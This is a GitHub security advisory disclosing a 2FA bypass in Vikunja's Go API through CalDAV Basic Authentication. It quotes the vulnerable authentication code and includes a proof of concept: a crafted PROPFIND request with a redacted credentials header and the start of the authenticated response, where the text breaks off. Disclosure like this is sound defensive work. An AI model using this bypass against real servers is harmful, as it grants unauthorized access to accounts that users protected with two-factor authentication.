GitHub Security Advisory: GHSA-47cr-f226-r4pq
Package: code.vikunja.io/api (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-288: Authentication Bypass Using an Alternate Path or Channel
Vulnerable versions: <= 2.1.0
Patched in: unpatched

Summary: Vikunja has a 2FA Bypass via Caldav Basic Auth

Details:
### Summary
The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.

### Details
The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially:
1. Retrieve basic credentials.
2. Verify username.
3. Verify password.
4. Success

**pkg/routes/caldav/auth.go:45**
```go
u, err := checkUserCaldavTokens(s, credentials)
	if user.IsErrUserDoesNotExist(err) {
		return false, nil
	}
	if u == nil {
		u, err = user.CheckUserCredentials(s, credentials)
		if err != nil {
			log.Errorf("Error during basic auth for caldav: %v", err)
			return false, nil
		}
	}
```

**pkg/user/user.go:358**
```go
func CheckUserCredentials(s *xorm.Session, u *Login) (*User, error) {
	// Check if we have any credentials
	if u.Password == "" || u.Username == "" {
		return nil, ErrNoUsernamePassword{}
	}

	// Check if the user exists
	user, err := getUserByUsernameOrEmail(s, u.Username)
	if err != nil {
		// hashing the password takes a long time, so we hash something to not make it clear if the username was wrong
		_, _ = bcrypt.GenerateFromPassword([]byte(u.Username), 14)
		return nil, ErrWrongUsernameOrPassword{}
	}

	if user.Issuer != IssuerLocal {
		return user, &ErrAccountIsNotLocal{UserID: user.ID}
	}

	// The user is invalid if they need to verify their email address
	if user.Status == StatusEmailConfirmationRequired {
		return &User{}, ErrEmailNotConfirmed{UserID: user.ID}
	}

	// Check the users password
	err = CheckUserPassword(user, u.Password)
	if err != nil {
		if IsErrWrongUsernameOrPassword(err) {
			handleFailedPassword(user)
		}
		return user, err
	}

	return user, nil
}
```

### PoC
1. Setup a Docker instance of Vikunja `v2.1.0` and create an account. Enable 2FA on the account.
<img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" />

2. Logout of the account.
3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the `Authorization` header.

```http
PROPFIND /dav/principals/ HTTP/1.1
Host: 127.0.0.1:3456
Authorization: Basic {{ REDACTED }}
[ TRUNCATED ]

<?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind>
```
5. Observe that the response contains authenticated user information.
```http
HTTP/1.1 207 Multi-Status
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Date: Mon, 16 Mar 2026 19:31:47 GMT
Content-Length: 398

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:ca